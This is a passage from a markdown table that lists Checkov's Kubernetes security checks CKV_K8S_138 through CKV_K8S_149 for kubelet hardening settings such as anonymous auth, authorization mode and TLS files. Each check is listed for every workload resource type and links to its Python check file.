set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 773 | CKV_K8S_138 | resource | Deployment             | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 774 | CKV_K8S_138 | resource | DeploymentConfig       | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 775 | CKV_K8S_138 | resource | Job                    | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 776 | CKV_K8S_138 | resource | Pod                    | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 777 | CKV_K8S_138 | resource | PodTemplate            | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 778 | CKV_K8S_138 | resource | ReplicaSet             | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 779 | CKV_K8S_138 | resource | ReplicationController  | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 780 | CKV_K8S_138 | resource | StatefulSet            | Ensure that the --anonymous-auth argument is set to false                                                                                                                                      | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py)                                                           |\n| 781 | CKV_K8S_139 | resource | CronJob                | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 782 | CKV_K8S_139 | resource | DaemonSet              | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 783 | CKV_K8S_139 | resource | Deployment             | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 784 | CKV_K8S_139 | resource | DeploymentConfig       | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 785 | CKV_K8S_139 | resource | Job                    | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 786 | CKV_K8S_139 | resource | Pod                    | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 787 | CKV_K8S_139 | resource | PodTemplate            | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 788 | CKV_K8S_139 | resource | ReplicaSet             | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 789 | CKV_K8S_139 | resource | ReplicationController  | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 790 | CKV_K8S_139 | resource | StatefulSet            | Ensure that the --authorization-mode argument is not set to AlwaysAllow                                                                                                                        | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py)                       |\n| 791 | CKV_K8S_140 | resource | CronJob                | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 792 | CKV_K8S_140 | resource | DaemonSet              | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 793 | CKV_K8S_140 | resource | Deployment             | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 794 | CKV_K8S_140 | resource | DeploymentConfig       | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 795 | CKV_K8S_140 | resource | Job                    | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 796 | CKV_K8S_140 | resource | Pod                    | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 797 | CKV_K8S_140 | resource | PodTemplate            | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 798 | CKV_K8S_140 | resource | ReplicaSet             | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 799 | CKV_K8S_140 | resource | ReplicationController  | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 800 | CKV_K8S_140 | resource | StatefulSet            | Ensure that the --client-ca-file argument is set as appropriate                                                                                                                                | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py)                                                                     |\n| 801 | CKV_K8S_141 | resource | CronJob                | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 802 | CKV_K8S_141 | resource | DaemonSet              | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 803 | CKV_K8S_141 | resource | Deployment             | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 804 | CKV_K8S_141 | resource | DeploymentConfig       | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 805 | CKV_K8S_141 | resource | Job                    | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 806 | CKV_K8S_141 | resource | Pod                    | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 807 | CKV_K8S_141 | resource | PodTemplate            | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 808 | CKV_K8S_141 | resource | ReplicaSet             | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 809 | CKV_K8S_141 | resource | ReplicationController  | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 810 | CKV_K8S_141 | resource | StatefulSet            | Ensure that the --read-only-port argument is set to 0                                                                                                                                          | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py)                                                             |\n| 811 | CKV_K8S_143 | resource | CronJob                | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 812 | CKV_K8S_143 | resource | DaemonSet              | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 813 | CKV_K8S_143 | resource | Deployment             | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 814 | CKV_K8S_143 | resource | DeploymentConfig       | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 815 | CKV_K8S_143 | resource | Job                    | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 816 | CKV_K8S_143 | resource | Pod                    | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 817 | CKV_K8S_143 | resource | PodTemplate            | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 818 | CKV_K8S_143 | resource | ReplicaSet             | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 819 | CKV_K8S_143 | resource | ReplicationController  | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 820 | CKV_K8S_143 | resource | StatefulSet            | Ensure that the --streaming-connection-idle-timeout argument is not set to 0                                                                                                                   | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py)                         |\n| 821 | CKV_K8S_144 | resource | CronJob                | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 822 | CKV_K8S_144 | resource | DaemonSet              | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 823 | CKV_K8S_144 | resource | Deployment             | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 824 | CKV_K8S_144 | resource | DeploymentConfig       | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 825 | CKV_K8S_144 | resource | Job                    | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 826 | CKV_K8S_144 | resource | Pod                    | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 827 | CKV_K8S_144 | resource | PodTemplate            | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 828 | CKV_K8S_144 | resource | ReplicaSet             | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 829 | CKV_K8S_144 | resource | ReplicationController  | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 830 | CKV_K8S_144 | resource | StatefulSet            | Ensure that the --protect-kernel-defaults argument is set to true                                                                                                                              | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py)                                           |\n| 831 | CKV_K8S_145 | resource | CronJob                | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 832 | CKV_K8S_145 | resource | DaemonSet              | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 833 | CKV_K8S_145 | resource | Deployment             | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 834 | CKV_K8S_145 | resource | DeploymentConfig       | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 835 | CKV_K8S_145 | resource | Job                    | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 836 | CKV_K8S_145 | resource | Pod                    | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 837 | CKV_K8S_145 | resource | PodTemplate            | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 838 | CKV_K8S_145 | resource | ReplicaSet             | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 839 | CKV_K8S_145 | resource | ReplicationController  | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 840 | CKV_K8S_145 | resource | StatefulSet            | Ensure that the --make-iptables-util-chains argument is set to true                                                                                                                            | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py)                                         |\n| 841 | CKV_K8S_146 | resource | CronJob                | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 842 | CKV_K8S_146 | resource | DaemonSet              | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 843 | CKV_K8S_146 | resource | Deployment             | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 844 | CKV_K8S_146 | resource | DeploymentConfig       | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 845 | CKV_K8S_146 | resource | Job                    | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 846 | CKV_K8S_146 | resource | Pod                    | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 847 | CKV_K8S_146 | resource | PodTemplate            | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 848 | CKV_K8S_146 | resource | ReplicaSet             | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 849 | CKV_K8S_146 | resource | ReplicationController  | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 850 | CKV_K8S_146 | resource | StatefulSet            | Ensure that the --hostname-override argument is not set                                                                                                                                        | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py)                                                     |\n| 851 | CKV_K8S_147 | resource | CronJob                | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 852 | CKV_K8S_147 | resource | DaemonSet              | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 853 | CKV_K8S_147 | resource | Deployment             | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 854 | CKV_K8S_147 | resource | DeploymentConfig       | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 855 | CKV_K8S_147 | resource | Job                    | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 856 | CKV_K8S_147 | resource | Pod                    | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 857 | CKV_K8S_147 | resource | PodTemplate            | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 858 | CKV_K8S_147 | resource | ReplicaSet             | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 859 | CKV_K8S_147 | resource | ReplicationController  | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 860 | CKV_K8S_147 | resource | StatefulSet            | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture                                                                                            | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py)                                                               |\n| 861 | CKV_K8S_148 | resource | CronJob                | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 862 | CKV_K8S_148 | resource | DaemonSet              | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 863 | CKV_K8S_148 | resource | Deployment             | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 864 | CKV_K8S_148 | resource | DeploymentConfig       | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 865 | CKV_K8S_148 | resource | Job                    | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 866 | CKV_K8S_148 | resource | Pod                    | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 867 | CKV_K8S_148 | resource | PodTemplate            | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 868 | CKV_K8S_148 | resource | ReplicaSet             | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 869 | CKV_K8S_148 | resource | ReplicationController  | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 870 | CKV_K8S_148 | resource | StatefulSet            | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate                                                                                                    | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py)                                         |\n| 871 | CKV_K8S_149 | resource | CronJob                | Ensure that the --rotate-certificates argument is not set to false                                                                                                                             | Kubernetes | 